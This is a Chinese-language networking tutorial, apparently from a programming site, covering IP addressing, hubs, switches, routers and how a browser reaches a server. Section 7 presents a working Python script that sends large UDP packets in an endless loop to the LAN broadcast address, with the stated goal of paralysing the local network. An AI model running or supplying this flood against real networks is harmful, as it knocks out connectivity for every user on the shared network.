目錄
- 1. 常用的網(wǎng)絡(luò)協(xié)議
- 2. 數(shù)據(jù)傳輸過程
- 3. 兩臺電腦通信
- 4. IP地址網(wǎng)絡(luò)號與主機號的確定規(guī)則
- 5. 最開始集線器解決多臺電腦通信
- 6. 使用交換機進行網(wǎng)絡(luò)通信
- 7. 使用udp協(xié)議實現(xiàn)內(nèi)網(wǎng)癱瘓
- 8. 使用路由器連接多個網(wǎng)絡(luò)
- 9. 瀏覽器訪問服務(wù)器的過程
- 總結(jié)
1. 常用的網(wǎng)絡(luò)協(xié)議
ICMP協(xié)議又叫:網(wǎng)絡(luò)控制協(xié)議
2. 數(shù)據(jù)傳輸過程
3. 兩臺電腦通信
網(wǎng)絡(luò)傳輸?shù)氖菙?shù)據(jù)的信號而不是電流
4. IP地址網(wǎng)絡(luò)號與主機號的確定規(guī)則
通過ip地址和網(wǎng)絡(luò)掩碼的二進制數(shù)實行按位與運算,計算的結(jié)果轉(zhuǎn)換為十進制,非0的就是網(wǎng)絡(luò)號,0的就是主機號
5. 最開始集線器解決多臺電腦通信
但是集線器是以廣播的形式發(fā)送數(shù)據(jù),設(shè)備一多就會導(dǎo)致網(wǎng)絡(luò)擁堵。
6. 使用交換機進行網(wǎng)絡(luò)通信
單播寫對方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF
7. 使用udp協(xié)議實現(xiàn)內(nèi)網(wǎng)癱瘓
先根據(jù)IP地址和網(wǎng)絡(luò)掩碼二進制按位與計算出網(wǎng)絡(luò)號,在使用udp往當(dāng)前局域網(wǎng)(網(wǎng)絡(luò)號)下面無線循環(huán)發(fā)廣播,使局域網(wǎng)瀕臨癱瘓
import socket # 導(dǎo)入socket
def main():
try:
# 1、創(chuàng)建socket套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協(xié)議
# 2、指定地址
data_address = ("192.168.255.255", 64300)
# 地址要是一個 元組,第一個"192.168.100.255"是內(nèi)網(wǎng)的廣播地址,第二個 64300 是你計算機當(dāng)前的端口#
# 這個端口不必太在意,64300 只要不是被其他程序占用的就行,
# 3、發(fā)送數(shù)據(jù)
while True:
send_data = "1" * 57175
# 這里發(fā)送的數(shù)據(jù)可以隨意點
udp_socket.sendto(send_data.encode("UTF-8"), data_address)
# 第一個參數(shù)sendData.encode("UTF-8")是要發(fā)送的數(shù)據(jù),("UTF-8")是設(shè)置發(fā)送數(shù)據(jù)的編碼,
# 第二個參數(shù)(dataAddress)是發(fā)送數(shù)據(jù)的地址,也就是筆者內(nèi)網(wǎng)的廣播地址
except Exception as result:
print("未知錯誤" + str(result))
if __name__ == '__main__':
main()
8. 使用路由器連接多個網(wǎng)絡(luò)
路由器的作用:連接兩個以上的網(wǎng)絡(luò)為一個大網(wǎng)絡(luò)
網(wǎng)關(guān):具有轉(zhuǎn)發(fā)數(shù)據(jù)能力的設(shè)備
當(dāng)AB兩臺電腦不在同一個網(wǎng)絡(luò)下想進行通信時,A電腦需要先把數(shù)據(jù)發(fā)送到默認(rèn)網(wǎng)關(guān),網(wǎng)關(guān)具有轉(zhuǎn)發(fā)數(shù)據(jù)的能力,網(wǎng)關(guān)再把數(shù)據(jù)轉(zhuǎn)發(fā)給B電腦,默認(rèn)網(wǎng)關(guān)一般都是路由器
數(shù)據(jù)在轉(zhuǎn)發(fā)的過程當(dāng)中,ip地址不變,mac地址每轉(zhuǎn)發(fā)一次就發(fā)生一次變化
9. 瀏覽器訪問服務(wù)器的過程
(1)向DNS服務(wù)器發(fā)送請求進行解析域名
(2)向http服務(wù)器發(fā)送3次握手
(3)握手成功后,向http服務(wù)器發(fā)送Http格式的請求數(shù)據(jù)
(4)所有請求完畢后,向http服務(wù)器發(fā)送4次揮手
網(wǎng)絡(luò)數(shù)據(jù)包發(fā)送過程當(dāng)中源IP目標(biāo)IP不變,源mac和目標(biāo)mac每通過路由器網(wǎng)關(guān)轉(zhuǎn)發(fā)一次就會發(fā)生一次變化
總結(jié)
本篇文章就到這里了,希望能給你帶來幫助,也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容!
您可能感興趣的文章:- Python測試網(wǎng)絡(luò)連通性示例【基于ping】
- 利用Python實現(xiàn)網(wǎng)絡(luò)測試的腳本分享
- python網(wǎng)絡(luò)爬蟲精解之Beautiful Soup的使用說明
- 詳解python網(wǎng)絡(luò)進程
- Python實現(xiàn)一個簡單三層神經(jīng)網(wǎng)絡(luò)的搭建及測試 代碼解析